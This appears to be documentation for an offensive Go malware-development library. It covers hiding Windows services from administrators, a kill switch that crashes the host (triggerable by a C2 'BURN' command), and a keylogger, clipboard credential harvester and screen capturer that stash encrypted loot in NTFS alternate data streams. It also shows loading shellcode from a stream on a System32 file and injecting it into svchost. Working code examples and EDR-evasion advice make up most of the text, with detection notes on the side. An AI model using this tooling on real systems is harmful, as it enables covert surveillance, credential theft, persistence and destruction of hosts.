// See cleanup/selfdelete/selfdelete.go for the full sequence.
selfdelete.Run()

OPSEC & Detection

D3FEND counter: D3-FCR (File Content Rules) — antivirus engines can scan named streams when configured.

MITRE ATT&CK

Limitations

• NTFS-only. Cross-filesystem copy drops streams.
• Many AVs scan ADS. Defender enumerates and scans named streams by default since Win10 1607.
• Mark-of-the-Web stream (Zone.Identifier) is added automatically to internet-downloaded files; collisions are unlikely but worth avoiding (don't use Zone.Identifier as your stream name).
• Backup tools (Robocopy with /B, Windows Backup) preserve streams; unaware tools (copy, xcopy without /B) silently drop them.
• Stealth read of named ADS streams is non-trivial. ReadVia
  • nil-fallback uses path-based os.Open on <path>:<stream> — visible to path-hooking EDRs. The repo's bundled *stealthopen.Stealth routes through NTFS Object IDs which addresses the MFT entry only (main stream), not a specific named stream. A stealth-on-ADS read primitive needs a custom Opener built on NtCreateFile with the composite path; not provided by this package.

See also

• cleanup/selfdelete — primary internal consumer.
• Sysinternals Streams — operator-side enumeration.
• microsoft/go-winio backup.go — original ADS code structure inspiration.
• CQURE Academy — Alternate Data Streams.

Hide Windows services via DACL

← cleanup index · docs/index

TL;DR

You installed a persistence service (or want to hide an existing one) and want it invisible to standard service enumerators. This package replaces the service's DACL so even admins can't query its config or status through the SCM. The service still runs.

What this DOES achieve:

• services.msc, sc query, Get-Service, Win32_Service WMI all see "access denied" or skip the service entirely.
• Naive EDR enumerators (EnumServicesStatusEx) skip inaccessible services by default.
• Service still runs — Stop-Service from a process holding the original handle still works; the OS just blocks new enumeration.

What this does NOT achieve:

• Doesn't hide from the kernel — EtwTI Service Control Manager events fire on service start regardless. Defenders watching ETW kernel-level service events still see you.
• Sophisticated EDR enumerators open services with low privileges first, retry with elevated. They notice the ACCESS_DENIED anomaly + log it.
• Doesn't hide registry traces — HKLM\SYSTEM\CurrentControlSet\Services\<name> is still visible to reg query / Get-ChildItem from any user with read access to the registry key. Combine with registry-key DACL hardening (out of scope here).
• Reboot persistence depends on the registry config — the DACL change is on the SCM in-memory copy. After reboot, the SCM re-reads the registry — your DACL change is lost unless persisted there too.

Primer

Every Windows service has a security descriptor controlling who can query, start, stop, change config, or change ACL on it. The default DACL grants SERVICE_QUERY_CONFIG | SERVICE_QUERY_STATUS | SERVICE_INTERROGATE | SERVICE_USER_DEFINED_CONTROL to interactive users and admins. Replacing that DACL with one that denies those rights makes the service invisible to standard listing tools without affecting its execution.

The persistence side (creating + starting the service) lives in persistence/service. This package handles the hiding side, applied AFTER install.

How it works

sequenceDiagram
    participant Caller
    participant SCM
    participant Service
    Caller->>SCM: OpenSCManager(SC_MANAGER_ALL_ACCESS)
    Caller->>SCM: OpenService(svcName, WRITE_DAC | READ_CONTROL)
    SCM-->>Caller: HANDLE
    Caller->>Service: SetNamedSecurityInfo(SE_SERVICE, DACL_SECURITY_INFORMATION, restricted-DACL)
    Service-->>Caller: ERROR_SUCCESS
    Note over SCM,Service: subsequent EnumServicesStatus calls<br>filter out the service for non-SYSTEM callers

The restricted DACL the package applies:

D:(D;;CCSWLOLCRC;;;IU)
 (D;;CCSWLOLCRC;;;SU)
 (D;;CCSWLOLCRC;;;BA)
 (A;;LCRPRC;;;SY)

• D entries deny CCSWLOLCRC (query config / status / control / read control) to Interactive Users (IU), Service users (SU), Built-in Admins (BA).
• A entry allows LCRPRC (read DACL + read control + start) to SYSTEM only.

Result: the service runs as SYSTEM, but only SYSTEM can enumerate it.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/cleanup/service is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

import "github.com/oioio-space/maldev/cleanup/service"

if _, err := service.HideService(service.Native, "", "MyService"); err != nil {
    log.Fatal(err)
}
// MyService runs but does not appear in services.msc / sc query / Get-Service.

// Restore at end of mission:
_, _ = service.UnHideService(service.Native, "", "MyService")

Composed (with persistence/service)

// Install + start
_ = persistenceService.InstallAndStart("MyService", "C:\\Path\\to\\impl.exe")
// Hide
_, _ = service.HideService(service.Native, "", "MyService")

Advanced — remote hide via UNC

out, err := service.HideService(service.SC_SDSET, `\\TARGET-HOST`, "MyService")
if err != nil {
    log.Fatalf("hide on TARGET-HOST: %v\noutput: %s", err, out)
}

OPSEC & Detection

D3FEND counter: D3-RAPA (Resource Access Pattern Analysis) — registry-based service enumeration defeats DACL hiding. Hardening: scan HKLM\SYSTEM\CurrentControlSet\ Services\ directly, not via SCM.

MITRE ATT&CK

Limitations

• Requires SeTakeOwnership / WRITE_DAC. Standard admin OK; non-admin cannot rewrite the security descriptor.
• Defeated by registry enumeration. Anyone who reads HKLM\SYSTEM\ CurrentControlSet\Services\ directly sees the service regardless.
• SYSTEM-context EDR is unaffected. The DACL allows SYSTEM read.
• Audit policy on object access logs Event 4670 for the DACL change itself; not always enabled by default but trivial for blue to enable.
• SC_SDSET mode shells out to sc.exe — leaves a child-process artefact that Native mode avoids.

See also

• persistence/service — install/start side.
• Microsoft — Service security and access rights.
• Sigma rule: service DACL change (illustrative — exact rule path may vary).

Controlled Blue Screen of Death

← cleanup index · docs/index

[!CAUTION] This is a destructive, irreversible primitive. Calling bsod.Trigger crashes the host immediately. Use only as a last-resort kill switch when stopping log shipping or process collection is more valuable than the host. The example tests are gated behind a build tag and do not run by default.

TL;DR

Last-resort kill switch: crash the host so in-memory state (unflushed logs, EDR's pending event queue, your secrets) is destroyed before anything can hit disk.

⚠ Destructive and irreversible. The host reboots immediately. Use only when stopping log shipping is more valuable than the host itself. Tests for this primitive are gated behind a build tag and never run in CI by default.

What this DOES achieve:

• Pending writes in EDR's user-mode buffers, Event Log service queues, and Sysmon's pre-flush state are all lost.
• Memory dumps that would have captured your shellcode / keys are gone — kernel produces a minidump on next boot which excludes user-mode allocations by default.
• One-syscall trigger; no need for admin shell — only SeShutdownPrivilege (granted by default to interactive users).

What this does NOT achieve:

• Doesn't hide that it happened — Event Log entry "0xDEADBEEF" + MEMORY.DMP on disk after reboot tell the forensic team a process called NtRaiseHardError. This is a panic button, not stealth.
• Doesn't survive the reboot — your implant is gone. Persistence (auto-start service / registry run key / scheduled task) must be in place beforehand.
• Doesn't wipe disk artefacts — anything already on disk (your dropper, prefetch, recent file activity) survives. Pair with cleanup/wipe BEFORE crashing.

Primer

NtRaiseHardError is the kernel's mechanism for raising errors from user-mode that the kernel decides how to handle. With the right parameters (notably OptionShutdownSystem), the kernel treats the report as an unrecoverable system fault and crashes immediately with the specified bug-check code (KeBugCheckEx).

The technique requires SeShutdownPrivilege, which any process running as a Medium-IL user with that privilege available can enable via RtlAdjustPrivilege. Most local accounts have it.

Use cases:

• Operator wants to abort an exfil operation when an EDR alert fires — faster to crash the host than to clean up.
• Anti-forensic last resort: terminate the implant + all running collection agents in one shot.
• Red-team exercise: validate the blue team's "host went silent" response.

How it works

sequenceDiagram
    participant Caller
    participant ntdll
    participant Kernel
    Caller->>ntdll: RtlAdjustPrivilege(SeShutdownPrivilege, true)
    ntdll-->>Caller: NTSTATUS_SUCCESS
    Caller->>ntdll: NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, NULL, 6 /* OptionShutdownSystem */)
    ntdll->>Kernel: NtRaiseHardError syscall
    Kernel->>Kernel: KeBugCheckEx(0xc0000420, ...)
    Note over Kernel: BSOD — host crashes

OptionShutdownSystem (value 6) tells the kernel to treat the hard error as fatal. The supplied status code propagates into the bug-check parameter shown on the BSOD screen.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/cleanup/bsod is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

//go:build windows
package main

import (
    "github.com/oioio-space/maldev/cleanup/bsod"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

func main() {
    caller := wsyscall.New(wsyscall.MethodIndirect, nil)
    if err := bsod.Trigger(caller); err != nil {
        // Reached only on failure; host doesn't come back on success.
        panic(err)
    }
}

Composed — guard with explicit operator confirmation

if !operatorConfirmed("really BSOD?") {
    return
}
// Wipe in-memory secrets first so even crash dumps reveal less.
memory.WipeAndFree(payloadAddr, payloadSize)
_ = bsod.Trigger(caller)

Advanced — chain with operator-side TLS handshake

A pattern from real ops: BSOD on receipt of a "BURN" command from C2.

go func() {
    for cmd := range c2Channel {
        if cmd == "BURN" {
            memory.WipeAndFree(stateAddr, stateSize)
            _ = bsod.Trigger(caller)
        }
    }
}()

OPSEC & Detection

D3FEND counter: D3-PSEP (weak — bug-checks are inherent to OS); the real counter is availability monitoring (host-up dashboard) and crash-dump analysis post-incident.

MITRE ATT&CK

Limitations

• SeShutdownPrivilege required. Sandboxed processes (Edge Renderer, AppContainer Store apps) cannot adjust this privilege.
• Crash dump destination depends on system config. If the host is configured for kernel-only minidumps, the dump may not include the full process state — but it WILL include the originating thread.
• VM hosts with snapshot-on-crash configurations may preserve state better than the operator wants.
• Win11 modern standby — some bug-checks are recoverable on Win11 if the system is on AC power and the kernel decides to attempt recovery (rare for STATUS_ASSERTION_FAILURE-class codes).

See also

• cleanup/memory — pair with WipeAndFree to destroy in-memory secrets before the bug-check.
• evasion/sleepmask — alternative when you want to merely hide, not destroy.
• Microsoft — NtRaiseHardError reference (kernel-mode signature; user-mode is undocumented but stable).

Collection techniques

← maldev README · docs/index

The collection/* package tree groups local data-acquisition primitives for post-exploitation: keystrokes, clipboard contents, screen captures. Each sub-package is self-contained and Windows-only — pick the data source the operator needs and import the matching package.

flowchart LR
    subgraph user [User session]
        KB[Keyboard input]
        CB[Clipboard]
        FB[Framebuffer]
    end
    subgraph collection [collection/*]
        K[keylog<br>WH_KEYBOARD_LL hook]
        C[clipboard<br>OpenClipboard + seq poll]
        S[screenshot<br>GDI BitBlt]
    end
    subgraph sink [Operator sink]
        OUT[stdout / file / C2 channel]
    end
    KB --> K
    CB --> C
    FB --> S
    K -. Ctrl+V .-> C
    K --> OUT
    C --> OUT
    S --> OUT

Where to start (novice path):

1. clipboard — quietest collector. One-shot ReadText or polling Watch channel. Catches passwords pasted from password managers.
2. screenshot — periodic visual capture. Useful for rich applications (banking, encrypted chat) where the actual data isn't accessible programmatically.
3. keylog — last resort. Catches everything typed but the WH_KEYBOARD_LL hook is the textbook EDR signal. Use only when other paths don't suffice.

Packages

Quick decision tree

MITRE ATT&CK

Cross-referenced techniques

Two adjacent collection workflows live under sibling areas. They are listed here as a navigation convenience; their canonical homes are the packages that own them.

[!NOTE] Both pages will move to their owning areas in Phase 6 of the doc refactor (see .dev/refactor-2026/progress.md (internal: .dev/progress.md)).

See also

• Operator path: post-exploitation collection
• Detection eng path: collection telemetry
• c2/transport — exfiltrate captured data over the established channel.
• crypto — encrypt collected blobs before staging or transmission.
• cleanup — wipe collection artefacts after exfiltration.

Keylogging

← collection index · docs/index

TL;DR

Install a WH_KEYBOARD_LL system-wide hook; every keystroke arrives in a Go channel with translated character, modifier flags, active-window title and owning-process path. On Ctrl+V the clipboard snapshot is bundled into the same event, capturing credential pastes automatically.

Primer

A low-level keyboard hook intercepts each WM_KEYDOWN message at the OS message-dispatch layer, before it reaches any application. This gives the implant a complete transcript of everything the user types — passwords, commands, search queries — across every window without injecting into any process.

Each Event carries the translated Unicode character (or a label such as [Enter], [Backspace], [F5]), the modifier state (Ctrl/Shift/Alt), the foreground window's title, and the executable path of the owning process. That attribution turns a raw character stream into a structured log: browser typed credentials, terminal commands, and document edits land in separate buckets with no additional work by the consumer.

The Ctrl+V case is handled specially: when a Ctrl+V chord is detected the hook reads the current clipboard text and attaches it to the event. This catches credential pastes that bypass keystroke-level keylogging entirely — a password manager that auto-fills via the clipboard never generates printable keystrokes.

The hook runs on a dedicated OS thread with its own Win32 message pump. The goroutine that calls Start returns immediately; the pump thread runs until the context is cancelled, at which point it posts WM_QUIT to itself and tears down cleanly.

How It Works

sequenceDiagram
    participant User
    participant OS as "Win32 message pump"
    participant Hook as "hookProc (LL hook)"
    participant Xlat as "ToUnicodeEx"
    participant Ch as "Event channel"
    participant Consumer

    User->>OS: WM_KEYDOWN (VkCode)
    OS->>Hook: hookProc(nCode, wParam, lParam)
    Hook->>Hook: GetAsyncKeyState (modifiers)
    Hook->>Hook: GetForegroundWindow + cache check
    Hook->>Xlat: VkCode + ScanCode + HKL
    Xlat-->>Hook: Unicode char (or dead-key pending)
    Hook->>Ch: Event{Character, Ctrl, Window, Process, …}
    Ch-->>Consumer: receive
    Hook->>OS: CallNextHookEx (pass-through)

Key implementation details:

• ToUnicodeEx with wFlags=0x4 preserves dead-key state in the keyboard layout buffer, so accented characters (é, ü) are synthesised correctly without consuming the pending dead key.
• Foreground-window resolution is cached by HWND and refreshed only on change — GetWindowText + QueryFullProcessImageName are expensive relative to the hook cadence.
• AttachThreadInput is not used; modifier state is read via GetAsyncKeyState which does not require thread attachment.
• A single global atomic.Pointer[hookState] serialises concurrent Start calls; a second call while a hook is active returns ErrAlreadyRunning.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/collection/keylog is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

import (
    "context"
    "fmt"

    "github.com/oioio-space/maldev/collection/keylog"
)

ch, err := keylog.Start(context.Background())
if err != nil {
    panic(err)
}
for ev := range ch {
    fmt.Printf("[%s] %s", ev.Process, ev.Character)
    if ev.Clipboard != "" {
        fmt.Printf(" <paste: %q>", ev.Clipboard)
    }
    fmt.Println()
}

Composed (per-process segmentation)

import (
    "context"
    "fmt"
    "path/filepath"
    "strings"

    "github.com/oioio-space/maldev/collection/keylog"
)

func logByProcess(ctx context.Context) map[string]string {
    ch, _ := keylog.Start(ctx)
    bufs := map[string]*strings.Builder{}
    for ev := range ch {
        proc := strings.ToLower(filepath.Base(ev.Process))
        if bufs[proc] == nil {
            bufs[proc] = &strings.Builder{}
        }
        bufs[proc].WriteString(ev.Character)
        if ev.Clipboard != "" {
            bufs[proc].WriteString(fmt.Sprintf("[Paste:%q]", ev.Clipboard))
        }
    }
    out := make(map[string]string, len(bufs))
    for k, v := range bufs {
        out[k] = v.String()
    }
    return out
}

Advanced (encrypted ADS stash)

Buffer keystrokes, encrypt each chunk with AES-GCM, and hide the ciphertext in an NTFS Alternate Data Stream on an existing system file.

import (
    "context"
    "strings"

    "github.com/oioio-space/maldev/cleanup/ads"
    "github.com/oioio-space/maldev/collection/keylog"
    "github.com/oioio-space/maldev/crypto"
)

const (
    adsHost   = `C:\ProgramData\Microsoft\Windows\Caches\caches.db`
    adsStream = "log"
)

func main() {
    ctx := context.Background()
    ch, _ := keylog.Start(ctx)
    key, _ := crypto.NewAESKey()
    var buf strings.Builder

    for ev := range ch {
        buf.WriteString(ev.Character)
        if buf.Len() < 512 {
            continue
        }
        blob, _ := crypto.EncryptAESGCM(key, []byte(buf.String()))
        buf.Reset()
        existing, _ := ads.Read(adsHost, adsStream)
        _ = ads.Write(adsHost, adsStream, append(existing, blob...))
    }
}

See ExampleStart in keylog_example_test.go.

OPSEC & Detection

D3FEND counters:

• D3-PA — behavioural analysis of process API usage patterns.
• D3-SCA — system-call sequence analysis, catches unusual LL hook setup.

Hardening for the operator: run inside a process that legitimately installs hooks (accessibility layer, IME, screen reader lookalike); avoid calling Start from a headless service where a message pump is anomalous.

MITRE ATT&CK

Limitations

• One hook per process. ErrAlreadyRunning prevents double-installation; multiple concurrent keylog sessions require separate processes.
• Requires a Windows GUI session. SetWindowsHookEx(WH_KEYBOARD_LL) is rejected in sessions without a desktop (SYSTEM service, Session 0).
• Non-BMP Unicode. Surrogate-pair characters (emoji, rare CJK) may appear split across two events or transliterated; ToUnicodeEx returns two UTF-16 words in sequence.
• EDR hook visibility. LL hooks are among the most scrutinised API calls in endpoint detections; combine with process masquerading if stealth is required.

See also

• Clipboard capture — standalone clipboard monitoring without a keyboard hook.
• Screen capture — combine with keylog for full session recording.
• crypto — encrypt the event stream before writing to disk.
• cleanup/ads — hide collected data in NTFS ADS.
• Operator path — post-exploitation collection chains.
• Detection eng path — hook-based detection telemetry.

Clipboard capture

← collection index · docs/index

TL;DR

ReadText returns the current clipboard text in one call. Watch polls GetClipboardSequenceNumber and streams each new distinct text value on a channel until the context is cancelled — no hooks, no DLL injection, pure Win32 API that blends with legitimate software traffic.

Primer

Users routinely copy passwords, API keys, and session tokens to the clipboard — from password managers, browser address bars, and SSH key files. Clipboard monitoring captures that data in transit regardless of how the application populates the clipboard.

The implementation deliberately avoids clipboard notification hooks (AddClipboardFormatListener, SetClipboardViewer). Those mechanisms require a message window and are scrutinised by EDRs. Instead, Watch polls GetClipboardSequenceNumber, a lightweight integer that the OS increments on every clipboard write. When the number changes, OpenClipboard + GetClipboardData(CF_UNICODETEXT) reads the new content. The poll interval is caller-controlled: aggressive (100 ms) catches rapid-fire credential pastes; gentle (1–5 s) is indistinguishable from benign polling.

ReadText is a one-shot variant for the case where the operator wants to snapshot the clipboard immediately after gaining execution — for instance, after a runas escalation that may have left a password on the clipboard.

How It Works

sequenceDiagram
    participant User
    participant App
    participant OS as "Windows Clipboard"
    participant Watch as "clipboard.Watch()"

    User->>App: Ctrl+C (copy credential)
    App->>OS: SetClipboardData(CF_UNICODETEXT)
    OS->>OS: increment sequence number

    loop every pollInterval
        Watch->>OS: GetClipboardSequenceNumber()
        alt sequence changed
            Watch->>OS: OpenClipboard(0)
            Watch->>OS: GetClipboardData(CF_UNICODETEXT)
            OS-->>Watch: UTF-16LE handle
            Watch->>Watch: UTF-16LE → UTF-8
            Watch->>Watch: emit on channel
            Watch->>OS: CloseClipboard()
        end
    end

Key implementation details:

• GetClipboardSequenceNumber requires no clipboard ownership and no message window — it is a pure read of a kernel counter.
• OpenClipboard(0) (null HWND) is valid and avoids creating a fake window that process-enumeration tools could flag.
• On ErrOpen (another process holds the clipboard momentarily) Watch silently skips the tick rather than blocking — the next tick will retry.
• The first value is emitted unconditionally on Watch start, regardless of whether the sequence number has changed since the last call.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/collection/clipboard is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

import (
    "context"
    "fmt"
    "time"

    "github.com/oioio-space/maldev/collection/clipboard"
)

// One-shot read.
text, err := clipboard.ReadText()
if err == nil {
    fmt.Println(text)
}

// Continuous monitor — print every change.
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute)
defer cancel()
for content := range clipboard.Watch(ctx, 500*time.Millisecond) {
    fmt.Println("copied:", content)
}

Composed (credential filter)

Emit only values that look like credentials — reduces noise and limits the on-disk footprint.

import (
    "context"
    "strings"
    "time"
    "unicode"

    "github.com/oioio-space/maldev/collection/clipboard"
)

func looksLikeCredential(s string) bool {
    if len(s) < 8 || len(s) > 512 {
        return false
    }
    hasDigit, hasUpper, hasSpecial := false, false, false
    for _, r := range s {
        switch {
        case unicode.IsDigit(r):
            hasDigit = true
        case unicode.IsUpper(r):
            hasUpper = true
        case !unicode.IsLetter(r) && !unicode.IsDigit(r):
            hasSpecial = true
        }
    }
    return (hasDigit && hasUpper) || hasSpecial ||
        strings.ContainsAny(s, "@:$%#")
}

func credentialWatch(ctx context.Context) <-chan string {
    out := make(chan string)
    go func() {
        defer close(out)
        for text := range clipboard.Watch(ctx, 300*time.Millisecond) {
            if looksLikeCredential(text) {
                out <- text
            }
        }
    }()
    return out
}

Advanced (encrypt-then-log to per-day file)

Encrypt each clipboard entry with AES-GCM before writing to disk — the on-disk artefact is opaque to YARA/string scanning.

import (
    "context"
    "fmt"
    "log"
    "os"
    "time"

    "github.com/oioio-space/maldev/collection/clipboard"
    "github.com/oioio-space/maldev/crypto"
)

func main() {
    key, err := crypto.NewAESKey()
    if err != nil {
        log.Fatal(err)
    }
    logPath := fmt.Sprintf("clip-%s.bin", time.Now().Format("2006-01-02"))
    f, err := os.OpenFile(logPath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600)
    if err != nil {
        log.Fatal(err)
    }
    defer f.Close()

    for text := range clipboard.Watch(context.Background(), 500*time.Millisecond) {
        blob, _ := crypto.EncryptAESGCM(key, []byte(text))
        _, _ = f.Write(blob)
    }
}

See ExampleReadText in clipboard_example_test.go.

OPSEC & Detection

D3FEND counters:

• D3-PA — behavioural API-usage analysis.

Hardening for the operator: use a 500 ms or slower poll interval; embed the monitor in a process that legitimately accesses the clipboard (browser helper, password-manager lookalike); avoid running from a headless service where clipboard access is anomalous.

MITRE ATT&CK

Limitations

• Text only. CF_UNICODETEXT format only; binary clipboard data (images, file paths via CF_HDROP, rich text) is not captured.
• Session boundary. Clipboard access is confined to the current Windows session; an implant in Session 0 cannot read Session 1 clipboard data.
• Race on ErrOpen. If another process holds the clipboard continuously (rare but possible), Watch will silently miss those ticks.
• Windows only. No Linux/macOS equivalent; build tag windows is required.

See also

• Keylogging — captures Ctrl+V paste events as part of the keystroke stream.
• Screen capture — visual complement to clipboard and keystroke collection.
• crypto — encrypt captured text before writing to disk.
• cleanup/ads — hide log files in NTFS ADS.
• Operator path — post-exploitation collection chains.
• Detection eng path — clipboard monitoring detection telemetry.

Screen capture

← collection index · docs/index

TL;DR

Capture() returns the entire virtual desktop as PNG bytes using GDI BitBlt. For multi-monitor targets, DisplayCount + CaptureDisplay(i) enumerate and capture individual screens. CaptureRect grabs any rectangular region. All three variants return []byte — send directly to a C2 channel or stash in an ADS.

Primer

Screen capture gives the operator a visual snapshot of the user's session: open documents, browser windows, RDP sessions, and credential dialogs all appear in the PNG. It is the fastest way to understand what the target is doing without generating process or file activity.

The implementation uses the GDI device-context model: GetDC(0) acquires a handle to the screen device context, CreateCompatibleDC + CreateCompatibleBitmap build an off-screen buffer, BitBlt(SRCCOPY) copies the screen pixels into that buffer, and GetDIBits extracts the raw BGRA pixel data. A final in-place channel swap (BGRA → RGBA) feeds Go's image/png encoder, which produces the final []byte. All GDI handles are cleaned up before return.

Multi-monitor support uses EnumDisplayMonitors to collect each monitor's bounding rectangle in virtual-desktop coordinates, then performs a CaptureRect on each rectangle. The rectangles may overlap (mirrored displays) or be non-contiguous (extended desktop) — coordinates are in virtual-desktop space and handled transparently by GDI.

How It Works

sequenceDiagram
    participant Code as "screenshot.Capture()"
    participant GDI as "GDI32 / User32"
    participant Enc as "png.Encode"

    Code->>GDI: GetDC(0) → screen DC
    Code->>GDI: CreateCompatibleDC(screenDC) → mem DC
    Code->>GDI: CreateCompatibleBitmap(screenDC, w, h) → hBmp
    Code->>GDI: SelectObject(memDC, hBmp)
    Code->>GDI: BitBlt(memDC, SRCCOPY)
    Code->>GDI: GetDIBits → BGRA []byte
    Code->>Code: BGRA → RGBA (in-place)
    Code->>Enc: png.Encode(RGBA image)
    Enc-->>Code: []byte PNG
    Code->>GDI: DeleteObject, DeleteDC, ReleaseDC

For CaptureDisplay(i):

1. enumDisplays() calls EnumDisplayMonitors to build []image.Rectangle.
2. Index bounds are checked against the slice; ErrDisplayIndex on overflow.
3. CaptureRect(r.Min.X, r.Min.Y, r.Dx(), r.Dy()) is called with the monitor's virtual-desktop rectangle.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/collection/screenshot is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

import (
    "os"

    "github.com/oioio-space/maldev/collection/screenshot"
)

png, err := screenshot.Capture()
if err != nil {
    panic(err)
}
_ = os.WriteFile("screen.png", png, 0o600)

Composed (all monitors, timestamped files)

import (
    "fmt"
    "os"
    "time"

    "github.com/oioio-space/maldev/collection/screenshot"
)

func captureAll(outDir string) {
    ts := time.Now().Format("150405")
    count := screenshot.DisplayCount()
    for i := 0; i < count; i++ {
        png, err := screenshot.CaptureDisplay(i)
        if err != nil {
            continue
        }
        name := fmt.Sprintf("%s/%s_mon%d.png", outDir, ts, i)
        _ = os.WriteFile(name, png, 0o600)
    }
}

Advanced (interval capture + encrypt + ADS stash)

Capture every 30 s, encrypt each frame with AES-GCM, and append to an NTFS ADS on a pre-existing system file — no new files on disk, content opaque to file scanners.

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/cleanup/ads"
    "github.com/oioio-space/maldev/collection/screenshot"
    "github.com/oioio-space/maldev/crypto"
)

const (
    adsHost   = `C:\ProgramData\Microsoft\Windows\Caches\thumbs.db`
    adsStream = "frames"
)

func main() {
    key, _ := crypto.NewAESKey()
    ctx := context.Background()
    tick := time.NewTicker(30 * time.Second)
    defer tick.Stop()

    for {
        select {
        case <-ctx.Done():
            return
        case <-tick.C:
            png, err := screenshot.Capture()
            if err != nil {
                continue
            }
            blob, _ := crypto.EncryptAESGCM(key, png)
            existing, _ := ads.Read(adsHost, adsStream)
            _ = ads.Write(adsHost, adsStream, append(existing, blob...))
        }
    }
}

See ExampleCapture and ExampleCaptureDisplay in screenshot_example_test.go.

OPSEC & Detection

D3FEND counters:

• D3-PA — behavioural API-usage analysis.

Hardening for the operator: limit capture frequency (1 per 30 s or less blends with screensaver / remote-desktop activity); embed in a process that legitimately renders graphics; send captures over an existing C2 channel rather than writing to disk.

MITRE ATT&CK

Limitations

• Windows only. GDI APIs are not available on Linux/macOS; build tag windows is required.
• Requires a desktop session. GetDC(0) returns NULL in Session 0 (SYSTEM service); the call must run in an interactive or remote-desktop session.
• DWM exclusion. Windows 10/11 DWM may exclude DRM-protected content (Netflix, Widevine) from BitBlt results — protected windows appear black.
• No hardware cursor. The captured PNG does not include the software cursor overlay; the mouse pointer position is not visible in the output.
• Virtual desktop coordinates. Multi-monitor setups with non-standard DPI scaling may produce coordinates that differ from what the user sees in display settings — use DisplayBounds to verify before CaptureRect.

See also

• Keylogging — text complement to visual capture.
• Clipboard capture — capture credential pastes.
• crypto — encrypt PNG bytes before storage.
• cleanup/ads — hide frames in NTFS ADS.
• c2/transport — exfiltrate PNG bytes over the C2 channel.
• Operator path — post-exploitation collection chains.
• Detection eng path — GDI-based collection detection telemetry.

NTFS Alternate Data Streams

MITRE ATT&CK: T1564.004 -- Hide Artifacts: NTFS File Attributes | Detection: Medium

<- Back to Collection Overview

Package: cleanup/ads Platform: Windows (NTFS required)

Primer

Imagine a filing cabinet where every folder has a visible main pocket, but also a row of thin hidden pockets along the back that most people don't know exist. You can stuff papers into those hidden pockets and they won't appear when someone looks inside the folder normally — only someone who specifically searches for the hidden pockets will find them.

NTFS Alternate Data Streams work exactly like that. Every file on an NTFS volume has a default data stream (the file content you see when you open it). But the filesystem also allows any number of named streams on the same file path. Writing document.txt:secret stores data alongside document.txt without affecting its visible size, content, or timestamp. Windows Explorer, dir, and most file browsers only show the default stream — the hidden streams are invisible unless you use streams.exe, PowerShell's Get-Item -Stream *, or an EDR that actively enumerates them.

This makes ADS useful for stashing payloads on legitimate-looking files, persisting data across reboots without dropping new files, and the cleanup/selfdelete package already uses an ADS rename internally to delete the running binary.

How It Works

sequenceDiagram
    participant Attacker as "Attacker Process"
    participant NTFS as "NTFS Driver"
    participant File as "document.txt (on disk)"

    Attacker->>NTFS: os.WriteFile("document.txt:payload", data)
    NTFS->>File: Create named stream ":payload:$DATA"
    Note over File: Default stream unchanged\nHidden stream now exists

    Attacker->>NTFS: FindFirstStreamW("document.txt")
    NTFS-->>Attacker: "::$DATA" (default), ":payload:$DATA"
    Note over Attacker: List() filters out ::$DATA\nReturns [{Name:"payload", Size:N}]

    Attacker->>NTFS: os.ReadFile("document.txt:payload")
    NTFS-->>Attacker: raw bytes

    Attacker->>NTFS: os.Remove("document.txt:payload")
    NTFS->>File: Delete named stream only\nDefault stream untouched

Step-by-step:

1. Write -- os.WriteFile with path file:streamName creates or overwrites the named stream. The default file content and metadata are unaffected.
2. List -- FindFirstStreamW / FindNextStreamW enumerate all streams. The List() helper strips the default ::$DATA stream and returns only user-created ones.
3. Read -- os.ReadFile with the file:streamName syntax reads the hidden stream content directly.
4. Delete -- os.Remove on file:streamName deletes only that stream; the host file is preserved.
5. Undeletable files -- The \\?\ prefix bypasses Win32 name normalization, allowing filenames ending with dots (...) that Explorer and cmd.exe cannot navigate to or delete. Only \\?\-prefixed paths or NtCreateFile can access them.

Usage

package main

import (
    "fmt"
    "log"

    "github.com/oioio-space/maldev/cleanup/ads"
)

func main() {
    host := `C:\Users\Public\desktop.ini`
    payload := []byte{0x90, 0x90, 0xCC} // shellcode placeholder

    // Store shellcode in a hidden stream.
    if err := ads.Write(host, "payload", payload); err != nil {
        log.Fatal(err)
    }

    // Enumerate all hidden streams.
    streams, err := ads.List(host)
    if err != nil {
        log.Fatal(err)
    }
    for _, s := range streams {
        fmt.Printf("stream: %s (%d bytes)\n", s.Name, s.Size)
    }

    // Read it back.
    data, err := ads.Read(host, "payload")
    if err != nil {
        log.Fatal(err)
    }
    fmt.Printf("read %d bytes\n", len(data))

    // Clean up.
    if err := ads.Delete(host, "payload"); err != nil {
        log.Fatal(err)
    }
}

Combined Example

package main

import (
    "log"
    "os"

    "github.com/oioio-space/maldev/cleanup/ads"
    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/inject"
)

func main() {
    // 1. Retrieve XOR-encoded shellcode from an ADS on a benign system file.
    //    The host file is untouched; only the hidden stream carries the payload.
    encoded, err := ads.Read(`C:\Windows\System32\licensemanager.exe`, "cfg")
    if err != nil {
        log.Fatal(err)
    }

    shellcode, err := crypto.XORWithRepeatingKey(encoded, []byte("k3y"))
    if err != nil {
        log.Fatal(err)
    }

    // 2. Create an undeletable staging file for persistence.
    //    Trailing-dot names cannot be accessed or removed via Explorer / cmd.
    stagingDir := os.TempDir()
    _, err = ads.CreateUndeletable(stagingDir, shellcode)
    if err != nil {
        log.Fatal(err)
    }

    // 3. Inject via Early Bird APC.
    injector, err := inject.Build().
        Method(inject.MethodEarlyBirdAPC).
        ProcessPath(`C:\Windows\System32\svchost.exe`).
        IndirectSyscalls().
        Create()
    if err != nil {
        log.Fatal(err)
    }
    if err := injector.Inject(shellcode); err != nil {
        log.Fatal(err)
    }
